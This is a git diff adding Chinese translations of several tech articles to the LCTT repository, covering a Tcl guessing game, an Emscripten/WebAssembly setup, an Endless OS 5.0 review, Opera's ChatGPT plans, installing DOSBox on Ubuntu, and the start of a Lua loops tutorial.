旨在让你快速看到后台运行的应用程序,并对它们进行管理(关闭它们或访问特定的设置)。 + +然而,你仍需要少量点击来达到这一点 🖱️。 + +小程序指示器或系统托盘图标是访问在后台运行的应用程序更快捷的方式,尽管不是每个后台应用程序都被列出。 + +毕竟,这总比没有好。 + +而最终,这些设计上的变化可能会产生一种直观的方式,以某种形式让应用指示器回归。 + +💬 你对这个决定与即将发布的 GNOME 设计变化有何看法?请在下面的评论中分享你的想法。 + +参考:[Phoronix][10] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-design-quick-access/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[SJFCS](https://github.com/SJFCS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed/ +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/02/gnome-brings-mysterious-features.png +[2]: https://itsfoss.com/enable-applet-indicator-gnome/ +[3]: https://itsfoss.com/which-ubuntu-install/ +[4]: https://itsfoss.com/task-manager-linux/ +[5]: https://itsfoss.com/linux-system-monitoring-tools/ +[6]: https://news.itsfoss.com/content/images/2023/02/background-app-running.png +[7]: https://gitlab.gnome.org/aday +[8]: https://gitlab.gnome.org/Teams/Design/os-mockups/-/issues/191 +[9]: https://github.com/GeorgesStavracas +[10]: https://www.phoronix.com/news/GNOME-Monitor-Background-Apps diff --git a/published/202302/20230209.3 ⭐️⭐️ Learn Tcl by writing a simple game.md b/published/202302/20230209.3 ⭐️⭐️ Learn Tcl by writing a simple game.md new file mode 100644 index 0000000000..60078272a2 --- /dev/null +++ b/published/202302/20230209.3 ⭐️⭐️ Learn Tcl by writing a simple game.md @@ -0,0 +1,158 @@ +[#]: subject: "Learn Tcl by writing a simple game" +[#]: via: "https://opensource.com/article/23/2/learn-tcl-writing-simple-game" +[#]: author: "James Farrell https://opensource.com/users/jamesf" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15567-1.html" + +通过“猜数字”游戏学习 Tcl +====== + +![][0] + +> 探索 Tcl 的基本语言结构,包括用户输入、输出、变量、条件评估、循环和简单函数。 + +我的 Tcl 之旅始于最近需要将一个困难的基于 Java 的命令行配置工具自动化。我使用 Ansible 做了一些自动化编程,偶尔也会使用 `expect` 模块。坦率地说,我发现这个模块的作用有限,原因包括:难以对相同的提示进行排序,难以捕捉到额外步骤的值,控制逻辑的灵活性有限,等等。有时你可以用 `shell` 模块来代替。但有时你会遇到那种特立独行、过于复杂的命令行程序,似乎无法实现自动化。 + +就我而言,我正在自动安装我公司的一个程序。最后的配置步骤只能通过命令行来完成,通过几个不规范的、重复的提示和需要捕捉的数据输出。好在传统的 Expect 是唯一的答案。要使用 Expect 的基本功能,并不需要对 Tcl 有很深的了解,但你了解的越多,你就能从它那里得到更多的力量。这是后续文章的话题。现在,我探讨一下 Tcl 的基本语言结构,包括用户输入、输出、变量、条件判断、循环和简单函数。 + +### 安装 Tcl + +在 Linux 系统上,我使用这个: + +``` +# dnf install tcl +# which tclsh +/bin/tclsh +``` + +在 macOS 上,你可以使用 [Homebrew][1] 来安装最新的 Tcl: + +``` +$ brew install tcl-tk +$ which tclsh +/usr/local/bin/tclsh +``` + +### 在 Tcl 中猜数字 + +从创建基本的可执行脚本 `numgame.tcl` 开始: + +``` +$ touch numgame.tcl +$ chmod 755 numgame.tcl +``` + +接着在你的文件中开始编码,标题是通常的 #!: + +``` +#!/usr/bin/tclsh +``` + +这里有一些关于 Tcl 的简单介绍,以便与本文一起追踪。 + +第一点是,Tcl 处理的都是字符串。变量通常被当作字符串处理,但可以自动切换类型和内部表示(这一点你通常无法看到)。函数可以把它们的字符串参数解释为数字(`expr`),并且只通过值传递。字符串通常使用双引号或大括号来划分。双引号允许变量扩展和转义序列,而大括号则完全没有扩展。 + +第二点是 Tcl 语句可以用分号隔开,但通常不这样。语句行可以用反斜杠字符来分割,然而,典型的做法是将多行语句放在大括号内,以避免需要这样做。大括号只是更简单,下面的代码格式也反映了这一点。大括号允许对字符串进行延迟求值。在 Tcl 进行变量替换之前,值被传递给函数。 + +最后,Tcl 使用方括号进行命令替换。方括号之间的任何东西都会被送到 Tcl 解释器的一个新的递归调用中进行求值。这对于在表达式中间调用函数或为函数生成参数是很方便的。 + +### 过程 + +虽然在这个游戏中没有必要,但我先举一个在 Tcl 中定义函数的例子,你可以在以后使用: + +``` +proc used_time {start} { + return [expr [clock seconds] - $start] +} +``` + +使用 `proc` 将其设定为一个函数(或过程)定义。接下来是函数的名称。然后是一个包含参数的列表;在本例中是一个参数 `{start}` ,然后是函数主体。注意,主体的大括号在这一行开始,它不能在下面一行。该函数返回一个值。返回值是一个复合求值(方括号),它从读取系统时钟 `[clock seconds]` 开始,并进行数学运算以减去 `$start` 参数。 + +### 设置、逻辑和完成 + +你可以在这个游戏的其余部分增加更多的细节,进行一些初始设置,对玩家的猜测进行迭代,然后在完成后打印结果: + +``` +set num [expr round(rand()*100)] +set starttime [clock seconds] +set guess -1 +set count 0 + +puts "Guess a number between 1 and 100" + +while { $guess != $num } { + incr count + puts -nonewline "==> " + flush stdout + gets stdin guess + + if { $guess < $num } { + puts "Too small, try again" + } elseif { $guess > $num } { + puts "Too large, try again" + } else { + puts "That's right!" + } +} + +set used [used_time $starttime] + +puts "You guessed value $num after $count tries and $used elapsed seconds" +``` + +前面的 `set` 语句建立变量。前两个求值表达式用于识别 1 到 100 之间的随机数,下一个保存系统时钟启动时间。 + +`puts` 和 `gets` 命令用于来自玩家的输出和输入。我使用的 `puts` 暗示输出是标准输出。`gets` 需要定义输入通道,所以这段代码指定 `stdin` 作为用户的终端输入源。 + +当 `puts` 省略行末终止符时,需要 `flush stdout` 命令,因为 Tcl 缓冲了输出,在需要下一个 I/O 之前可能不会被显示。 + +从这里开始,`while` 语句说明了循环控制结构和条件逻辑,需要给玩家反馈并最终结束循环。 + +最后的 `set` 命令调用我们的函数来计算游戏的耗时秒数,接着是收集到的统计数字来结束游戏。 + +### 玩吧! + +``` +$ ./numgame.tcl +Guess a number between 1 and 100 +==> 100 +Too large, try again +==> 50 +Too large, try again +==> 25 +Too large, try again +==> 12 +Too large, try again +==> 6 +Too large, try again +==> 3 +That's right! +You guessed value 3 after 6 tries and 20 elapsed seconds +``` + +### 继续学习 + +当我开始这个练习时,我怀疑回到 90 年代末的流行语言对我有多大的帮助。一路走来,我发现 Tcl 有几处让我非常喜欢的地方,我最喜欢的是方括号内的命令求值。与其他许多过度使用复杂闭包结构的语言相比,它似乎更容易阅读和使用。我以为它是一种 [已消亡的语言][2],但实际上它仍在蓬勃发展,并在多个平台上得到支持。我学到了一些新的技能,并对这种古老的语言有了新的认识。 + +在 [https://www.tcl-lang.org][3] 上查看官方网站。你可以找到最新的源代码、二进制发行版、论坛、文档,以及仍在进行的会议信息的参考。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/learn-tcl-writing-simple-game + +作者:[James Farrell][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jamesf +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/article/20/6/homebrew-mac +[2]: https://opensource.com/article/19/6/favorite-dead-language +[3]: https://www.tcl-lang.org +[0]: https://img.linux.net.cn/data/attachment/album/202302/23/140000ilg3oa8khgrhr1r3.jpg \ No newline at end of file diff --git a/published/202302/20230209.4 ⭐️ Start developing for WebAssembly with our new guide.md b/published/202302/20230209.4 ⭐️ Start developing for WebAssembly with our new guide.md new file mode 100644 index 0000000000..a5edf9b39f --- /dev/null +++ b/published/202302/20230209.4 ⭐️ Start developing for WebAssembly with our new guide.md @@ -0,0 +1,110 @@ +[#]: subject: "Start developing for WebAssembly with our new guide" +[#]: via: "https://opensource.com/article/23/2/webassembly-guide" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15541-1.html" + +跟着我们的新指南学习开发 WebAssembly +====== + +![][0] + +> 使用 WebAssembly 开发有很多不同的方向,这取决于你已经知道的东西和你想建立的东西。 + +在过去的几十年里,Web 浏览器作为最流行的跨平台应用经久不衰。从另一个角度看浏览器,它是最受欢迎的应用交付平台之一。想想你使用的所有网站,它们取代了你过去用桌面上运行的软件进行的活动。你仍然在使用软件,但你是通过浏览器来访问它,而且是在别人的 Linux 服务器上运行。在优化我们所有人使用的软件的永恒努力中,软件开发世界早在 2019 年就引入了 WebAssembly,作为通过 Web 浏览器运行编译代码的一种方式。应用的性能比以往任何时候都要好,而且可以生成 WebAssembly 编码的语言远不只是通常的 PHP、Python 和 JavaScript。 + +### 一个目标和一种语言 + +关于 WebAssembly 的一个强大但也最令人困惑的地方是,“WebAssembly” 这个词既指一种语言,也指一个目标。WebAssembly 是一种汇编语言,但没有多少人选择直接用汇编写代码。即使是汇编语言,最终也会被转换为二进制格式,这也是计算机运行代码的要求。这种二进制格式也被称为 WebAssembly。不过这很好,因为这意味着你可以用你选择的语言来写一些最终以 WebAssembly 交付的东西,包括 C、C++、Rust、Javascript 和其他许多语言。 + +进入 WebAssembly 的途径是 Emscripten,这是一个 LLVM 编译器工具链,可以从你的代码中产生 WebAssembly。 + +### 安装 Emscripten + +要在你的 Linux 或 macOS 电脑上安装 Emscripten,请使用 Git: + +``` +$ git clone https://github.com/emscripten-core/emsdk.git +``` + +改变目录进入 `emsdk` 目录并运行安装命令: + +``` +$ ./emsdk install latest +$ ./emsdk activate latest +``` + +Emscripten 工具链中的所有内容都安装在 `emsdk` 目录下,对系统的其他部分没有影响。由于这个原因,在使用 `emsdk` 之前,你必须 源引source 它的环境: + +``` +$ source ./emsdk_env.sh +``` + +如果你打算经常使用 `emsdk`,你也可以在 `.bashrc` 中加入环境设置脚本。 + +要在 Windows 上安装 Emscripten,你可以在 WSL 环境下运行 Linux。 + +请访问 [Emscripten 网站][1] 了解更多安装信息。 + +### Hello World + +下面是一个用 C++ 编写的简单的 “Hello World” 应用。 + +``` +#include + +using namespace std; + +int main() { + cout << "Hello world"; + return 0; +} +``` + +先把它作为你的系统的标准二进制文件来测试: + +``` +$ g++ hello.cpp -o world +$ ./world +Hello world +``` + +看到它像预期的那样工作,用 `emcc` 把它构建为 WebAssembly: + +``` +$ emcc hello.cpp -o world.html +``` + +最后,用 `emrun` 运行它: + +``` +$ emrun ./world.html +``` + +`emrun` 工具是一个用于本地测试的方便命令。当你在服务器上托管你的应用时,`emrun` 就没有必要了。 + +### 学习更多关于 WebAssembly 的知识 + +使用 WebAssembly 开发可以有很多不同的方向,这取决于你已经知道的东西和你想建立的东西。如果你了解 C 或 C++,那么你可以用这些来写你的项目。如果你正在学习 Rust,那么你可以使用 Rust。甚至 Python 代码也可以使用 Pyodide 模块来作为 WebAssembly 运行。你有很多选择,而且没有错误的开始方式(甚至有 COBOL 到 WebAssembly 的编译器)。如果你渴望开始使用 WebAssembly, + +> **[请下载我们免费的电子书][2]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/webassembly-guide + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed/ +[1]: https://emscripten.org/ +[2]: https://opensource.com/downloads/webassembly-ebook +[0]: https://img.linux.net.cn/data/attachment/album/202302/15/204034uy4t9h6z6o06hj6j.jpg \ No newline at end of file diff --git a/published/202302/20230209.5 ⭐️⭐️ Endless OS 5.0 Review The Best of GNOME with Wayland and Apps.md b/published/202302/20230209.5 ⭐️⭐️ Endless OS 5.0 Review The Best of GNOME with Wayland and Apps.md new file mode 100644 index 0000000000..030349f1a0 --- /dev/null +++ b/published/202302/20230209.5 ⭐️⭐️ Endless OS 5.0 Review The Best of GNOME with Wayland and Apps.md @@ -0,0 +1,138 @@ +[#]: subject: "Endless OS 5.0 Review: The Best of GNOME with Wayland and Apps" +[#]: via: "https://www.debugpoint.com/endless-os-5-0-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15582-1.html" + +Endless OS 5.0:带有 Wayland 和丰富应用程序的最佳 GNOME 桌面 +====== + +![][0] + +> 新版本的 Endless OS 5.0 已经发布,带来了更多的功能和稳定性。下面是对这个版本的简要点评。 + +在不变性成为炒作对象之前,Endless OS 已经提供了一种基于 [OSTree][1] 的高效桌面体验。它基于 Debian 和 Ubuntu,但正在独立开发。由于其底层基于 OSTree,Endless OS 运行在其用户空间中,同时给你最好的桌面体验。 + +它是一个适合学校、小规模部署、实验室和离线使用情况的完美发行版。 + +新版本的 Endless OS 5.0 现在已经推出。下面是对其功能的快速回顾和深入点评。 + +> 我们相信,个人计算对生产力、学习和工作技能至关重要。 +> +> 我们在过去 10 年中致力于设计和提供操作系统和工具,使人们能够获得和控制他们的技术。 +> +> 借助我们的工具,我们可以通过使用和发现来提高生产力、创造力和学习,我们帮助各种背景的人以更有意义的方式参与数字经济。 +> +> —— Endless OS 使命宣言 + +### Endless OS 5 点评 + +由于这个操作系统的目的是为不太富裕的人提供数字计算的机会,所以它提供了 Windows 安装程序。你可以直接下载它并在 Windows 环境中试用。 + +此外,它还提供了一个专门的独立 ISO 镜像,可以通过 U 盘进行安装。 + +上次我在 2021 年点评 Endless OS 时,它并没有提供 ARM 版本。我很惊讶地发现,它现在有一个 ARM 镜像,你可以在树莓派和其他 ARM 板上试用。 + +在我的测试安装中,一切都很顺利。它使用一个自定义的安装程序,类似于 Fedora 的 Anaconda 安装程序。然而,安装它需要一个完整的磁盘。如果你喜欢双启动,[在此][2] 有一个详细的指南。但是,我觉得它的设置有点复杂。 + +![Endless OS installation in Windows][3] + +#### 登录和第一印象 + +这个版本基于 [Debian 11 “bullseye”][4],带有 Linux 主线 [内核 5.15][5]。此外,它还为该团队的原生应用程序提供了单独的软件仓库。其桌面基于 [GNOME 41][6]。 + +这个版本在外观感受方面有一些改变。首先,底部面板被改变为显示基本的 GNOME 风格的停靠区。它总是可见的,当你把一个窗口移到它上面时,它就会消失。早些时候,它是一个固定的标准面板,有一个应用程序图标、系统托盘和正在运行的应用程序部件。 + +其次,它引入了一个新的顶部面板,遵循 GNOME 的设计。它包含活动、应用程序启动器和系统托盘。 + +![Look has changed since prior release with dock and top panel in Endless OS 5.0][7] + +和 Endless OS 4.0 的外观相比,它有很多改变: + +![Endless OS Desktop version 4.0][8] + +#### 对 GNOME 桌面和工作区的独特定制 + +默认外观保持不变,包括带有搜索框的桌面应用程序视图。顶部面板上的应用程序是对运行中的应用程序和桌面视图的切换。 + +超级键(`Super`)也可以切换到正在运行的应用程序和工作区视图,这一点非常方便。窗口在右上方有最小化、最大化和关闭按钮;它们不需要调整。 + +然而,在这个版本中,有一个喜欢的功能被放弃了。在 [Endless OS 4.0][9] 中,当你点击桌面的空白部分时,它会立即将所有打开的窗口最小化,并向你显示桌面。然而,这个功能已经不再可用了。这是一个多么方便的功能,可以使工作流程更加顺畅。 + +#### 在 Endless OS 5.0 中引入 Wayland + +现代显示服务器 Wayland 在这个版本中首次出现在 Endless OS 中。默认登录是 Wayland。然而,你可以从登录界面切换到 X.Org。得益于 Wayland,你可以感受到 Endless OS 操作系统中流畅的动画、手势和性能。 + +#### 手势支持 + +Endless OS 5.0 还引入了多手势支持。你现在可以通过触控板/触摸板使用三指左右轻扫来浏览工作区。此外,三指向上滑动可以切换应用程序网格和工作空间。 + +支持的应用程序也可以使用捏合缩放,包括双指滚动。 + +这是一个非常需要的更新,以进一步提高你在 Endless OS 中的生产力。 + +#### 应用程序中心、Flatpak 和应用程序 + +Endless OS 作为一个不可变的发行版,你所有的应用程序都运行在一个独立的用户空间。默认情况下,它只支持 Flatpak 软件包。默认配置了世界上最大的 Flatpak 仓库 Flathub。你可以直接从 AppCenter 搜索并安装任何 Flatpak 应用程序。 + +![Flathub repo is pre-configured for Flatpak apps][10] + +然而,在默认情况下,几乎所有需要的应用程序都已经预装。如果你想处理文件,一个完整的 LibreOffice 包就在那里。它还包括预装了 Ad-Block 的 Chromium 网络浏览器!此外,你还得到了 Gedit 文本编辑器、Shotwell 图像查看器、Brasero 磁盘刻录应用程序、文件Files应用作为文件管理器、管理你的学校/家庭工作流程的 Kolibri。 + +所有原生的 GNOME 应用程序现在都默认是 Flatpak 版本,而不是 APT 软件包。这是 Endless OS 5.0 的关键变化之一。 + +![Kolibri is one of the amazing app - pre-loaded][11] + +#### 帮助中心 + +Endless OS 的伟大功能之一是可以从帮助应用程序中获得离线帮助。你也可以通过桌面搜索功能访问它。 + +任何学生或首次使用的用户都可以快速了解桌面的基本功能,如 “如何更改密码” 或 “如何创建账户” 之类的问题。所有这些都可以作为离线帮助文件使用。 + +![Endless OS desktop offline help][12] + +### 总结 + +Endless OS 5.0 带来了非常需要的变化,如 Wayland 和手势支持,同时坚持其原则,成为一个易于使用的大众发行版。它是一个设计良好、考虑周到的发行版,非常适合离线/远程使用、实验室、学校和社区。如果配置正确,Linux 可以影响数百万人 —— 对那些买不起昂贵软件的人来说。 + +另外,对于普通用户来说,如果你打算运行多年,这可能是一个完美的发行版。你可以把自己从升级、系统故障、命令、依赖性问题等的麻烦中解救出来。 + +这是该团队为社区发布的一个优秀版本。你可以从下面的链接下载它。 + +> **[下载 Endless OS][13]** + +你对这个版本的整体印象如何?请在评论栏里告诉我。 + +参见 [Endless OS 5.0 发布说明][14] 。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/endless-os-5-0-review/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed/ +[1]: https://ostree.readthedocs.io/en/stable/ +[2]: https://support.endlessos.org/en/installation/windows-installer/dual-boot +[3]: https://www.debugpoint.com/wp-content/uploads/2023/02/Endless-OS-installation-in-Windows.jpg +[4]: https://www.debugpoint.com/debian-11-features/ +[5]: https://www.debugpoint.com/linux-kernel-5-15/ +[6]: https://www.debugpoint.com/gnome-41-release/ +[7]: https://www.debugpoint.com/wp-content/uploads/2023/02/Look-has-changed-since-prior-release-with-dock-and-top-panel-in-Endless-OS-5.0.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/11/Endless-OS-Desktop-version-4.0.jpg +[9]: https://www.debugpoint.com/endless-os-review-2021 +[10]: https://www.debugpoint.com/wp-content/uploads/2023/02/Flathub-repo-is-pre-configured-for-Flatpak-apps.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2023/02/Kolibri-is-one-of-the-amazing-app-pre-loaded.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2023/02/Endless-OS-desktop-offline-help.jpg +[13]: https://www.endlessos.org/os-windows-installer +[14]: https://support.endlessos.org/en/endless-os/release-notes/5 +[0]: https://img.linux.net.cn/data/attachment/album/202302/28/001503u92tz023olzzftdo.jpg \ No newline at end of file diff --git a/published/202302/20230210.0 ⭐️ Opera Browser Plans to Integrate ChatGPT.md b/published/202302/20230210.0 ⭐️ Opera Browser Plans to Integrate ChatGPT.md new file mode 100644 index 0000000000..780563f5bd --- /dev/null +++ b/published/202302/20230210.0 ⭐️ Opera Browser Plans to Integrate ChatGPT.md @@ -0,0 +1,61 @@ +[#]: subject: "Opera Browser Plans to Integrate ChatGPT" +[#]: via: "https://debugpointnews.com/opera-chatgpt-integration/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15547-1.html" + +Opera 浏览器计划集成 ChatGPT +====== + +![][1] + +> 据报道,Opera 浏览器正在寻求将语言模型 ChatGPT 集成到其桌面和移动产品中。 + +### 摘要 + +- 据报道,流行的桌面和移动网络浏览器 Opera 浏览器正在探索将语言模型 ChatGPT 集成到其产品中。 +- 微软最近宣布将 ChatGPT 的制造商 OpenAI 技术集成到其 Edge 网络浏览器中,为用户添加人工智能功能。 + +### Opera 与 ChatGPT + +[Opera][2],一个被广泛使用的桌面和移动网络浏览器,将把语言模型 ChatGPT 集成到它的软件产品中。Opera 的母公司昆仑科技是这一新闻的幕后推手,尽管这次集成的细节仍然有限。Opera 提供了一系列软件产品,包括桌面网络浏览器、移动网络浏览器以及其为 Chromebook 设计的浏览器版本。 + +最有可能整合 ChatGPT 的是 Opera 的主要桌面浏览器,包括 Opera 浏览器和 Opera GX(这是一款为游戏玩家设计的浏览器)。然而,也有可能集成到 Opera 的移动浏览器中,包括常规的 Opera 移动浏览器、Opera Mini 和 Opera Crypto 浏览器。 + +### 来自微软和谷歌的最新更新 + +微软上周宣布将 OpenAI 集成到其 Edge 网络浏览器中,成为头条新闻。这种集成将在未来为 Edge 用户带来两种人工智能功能,即 “Chat聊天” 和 “撰写Compose”。“聊天”功能可以让用户在浏览器中直接与人工智能交流。同时,“撰写”功能帮助用户进行文本撰写,包括使用不同的语气和长度撰写电子邮件和社交媒体帖子。 + +在最近的一次演示中,谷歌没有宣布将人工智能聊天机器人直接集成到其 Chrome 浏览器中,这一举措得到的回应并不热烈。 + +### 下一步是什么 + +据 Statcounter 统计,Opera 浏览器被数亿用户使用,在全球浏览器市场占有 2.4% 的份额。虽然它可能落后于谷歌 Chrome 的 65% 和 Safari 的 18%,但与 Mozilla Firefox 的 3% 相比,它仍然保持着自己的优势。 + +昆仑科技是一家在深圳证券交易所上市的北京公司。本周,中国搜索巨头百度宣布计划在其搜索产品中集成 ChatGPT 风格的机器人。 + +总之,ChatGPT 与 Opera 浏览器的集成代表着人工智能网络浏览向前迈出的重要一步。随着微软和百度等公司将人工智能技术融入其产品,Opera 将自己定位为该领域的领导者。 + +随着数亿用户和浏览器市场的日益增长,ChatGPT 与 Opera 的集成是一项备受期待的发展。 + +参考:[CNBC][3] + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/opera-chatgpt-integration/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2023/02/opera.jpg +[2]: https://www.opera.com/ +[3]: https://www.cnbc.com/2023/02/09/web-browser-opera-is-planning-to-incorporate-chatgpt.html diff --git a/published/202302/20230210.4 ⭐️ How to Install DOSBox in Ubuntu to Play Old Games.md b/published/202302/20230210.4 ⭐️ How to Install DOSBox in Ubuntu to Play Old Games.md new file mode 100644 index 0000000000..d0defcde55 --- /dev/null +++ b/published/202302/20230210.4 ⭐️ How to Install DOSBox in Ubuntu to Play Old Games.md @@ -0,0 +1,172 @@ +[#]: subject: "How to Install DOSBox in Ubuntu to Play Old Games" +[#]: via: "https://www.debugpoint.com/install-dosbox-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15538-1.html" + +如何在 Ubuntu 中安装 DOSBox 玩老游戏 +====== + +![][0] + +> 了解如何在 Ubuntu 中安装 DOSBox,并配置它来玩旧式 DOS 游戏。 + +DOSBox 是一个自由开源的操作系统模拟器,可以在现代 Linux 系统中运行。它有几个组件可以模仿旧的硬件,以运行旧的程序和游戏。 + +这一切使得在现代 Linux 发行版中享受旧游戏和应用程序成为可能。 + +在本指南中,我将向你展示如何安装 DOSBox,配置它,并玩一个示例游戏。 + +### 在 Ubuntu 中安装 DOSBox + +DOSBox 的主软件包在所有主要的 Linux 发行版中都可用。 + +在 Ubuntu、Debian、LinuxMint 和相关发行版中,使用以下命令安装它: + +``` +sudo apt install dosbox +``` + +在 Fedora、CentOS、RHEL 和相关发行版中,使用以下命令安装它: + +``` +sudo dnf install dosbox +``` + +在 Arch Linux 中,使用以下命令安装它: + +``` +pacman -S --needed dosbox +``` + +安装就结束了。现在是配置和运行的时候了。 + +### 运行 DOSBox + +安装后,从终端键入以下内容: + +``` +dosbox +``` + +它将显示以下界面,这是 DOSBox 提示符。第一次运行非常重要,因为它会创建 DOSBox 配置文件。 + +键入 `exit` 暂时关闭 DOSBox。 + +![DOSBox first time run][1] + +配置文件为你提供了几个调整设置的选项。在 Ubuntu 中,该文件创建在 `~/.dosbox/dosbox-[version].conf`。 + +在 Fedora 中,它从以下路径加载临时配置文件 `~/.config/dosbox/dosbox-staging.conf`. + +默认情况下,你可以使用默认配置。但是如果你愿意,你可以修改它。 + +例如,如果你想全屏启动 DOSBox,你可以启用或禁用相关设置。像这样: + +``` +fullscreen=false +fulldouble=false +fullresolution=original +windowresolution=original +output=surface +autolock=true +sensitivity=100 +waitonerror=true +``` + +你可以在 [官方文档][2] 中找到所有的设置选项。 + +### 下载以及游玩老游戏 + +有许多网站提供旧的 DOS 游戏。我使用过下面的网站,它提供了一套可以在现代系统中玩的老游戏。 + +所以,访问下面的网站,下载你想要的任何游戏。 + +> **[下载 DOS 游戏][3]** + +在你的 `/home` 目录下创建一个文件夹,并将其命名为 `dosbox`: + +``` +cd ~ +mkdir dosbox +``` + +现在,解压你下载的游戏(应该是一个 .exe 文件),在 `~/dosbox` 目录下创建一个单独的文件夹。 + +例如,我下载了游戏 “马里奥和路易吉(1994)”。我在 `dosbox` 文件夹中创建了一个名为 `mario` 的文件夹,并将游戏文件放进去。 + +![Keep the game in a separate folder][4] + +现在从终端启动 dosbox: + +``` +dosbox +``` + +并键入以下内容,将游戏挂载到虚拟的 C: 盘中: + +``` +mount c ~/dosbox/mario +``` + +以上命令完成后,将驱动器更改为 C:: + +``` +c: +``` + +现在,你可以输入游戏的文件名来运行游戏: + +``` +mario +``` + +![Running the game][5] + +![Mario running in DOSBox in Ubuntu][6] + +### 键盘或控制器映射 + +默认情况下,DOSBox 会自动检测键盘或你插入的控制器。但是,如果你想更改游戏按键绑定,可以从终端运行以下命令: + +``` +dosbox -startmapper +``` + +它将显示以下界面,每个键上都标记有事件。你可以点开任何一个键,根据自己的习惯进行更改。 + +![DOSBox keyboard and controller mapping][7] + +### 结论 + +我希望你在 Ubuntu 和其他发行版中安装了 DOSBox 之后,能够运行你最喜欢的 DOS 游戏。DOSBox 是最酷的软件之一,你可以使用它来运行任何程序,例如 [Turbo C][8] 等。 + +如果你有任何麻烦或问题,请在评论区告诉我。 + +享受游戏吧! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-dosbox-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2023/02/DOSBox-first-time-run.jpg +[2]: https://www.dosbox.com/wiki/Dosbox.conf#Sections +[3]: https://archive.org/details/softwarelibrary_msdos_games?tab=collection +[4]: https://www.debugpoint.com/wp-content/uploads/2023/02/Keep-the-game-in-a-separate-folder.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2023/02/Running-the-game.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2023/02/Mario-playing-in-DOSBox-in-Ubuntu.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2023/02/DOSBOox-keyboard-and-controller-mapping.jpg +[8]: https://www.debugpoint.com/setting-up-dosbox-in-ubuntu-to-run-turbo-c/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/14/142608nsoov2vory2nipiv.jpg \ No newline at end of file diff --git a/published/202302/20230214.1 ⭐️ Lua loops how to use while and repeat until.md b/published/202302/20230214.1 ⭐️ Lua loops how to use while and repeat until.md new file mode 100644 index 0000000000..6a49ad26a2 --- /dev/null +++ b/published/202302/20230214.1 ⭐️ Lua loops how to use while and repeat until.md @@ -0,0 +1,151 @@ +[#]: subject: "Lua loops: how to use while and repeat until" +[#]: via: "https://opensource.com/article/23/2/lua-loops-while-repeat-until" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15575-1.html" + +Lua 循环:如何使用 while 和 repeat until +====== + +> 学习如何以及何时在 Lua 中使用 while 和 repeat until 循环。 + +控制结构是编程语言的一个重要特征,因为它们使你能够根据通常在程序运行时动态建立的条件来指导程序的流程。不同的语言提供了不同的控制,在 Lua 中,有 `while` 循环、`for` 循环和 `repeat` `until` 循环。这篇文章涵盖了 `while` 和 `repeat until` 循环。由于它们的灵活性,我在一篇 [单独的文章][1] 中介绍 `for` 循环。 + 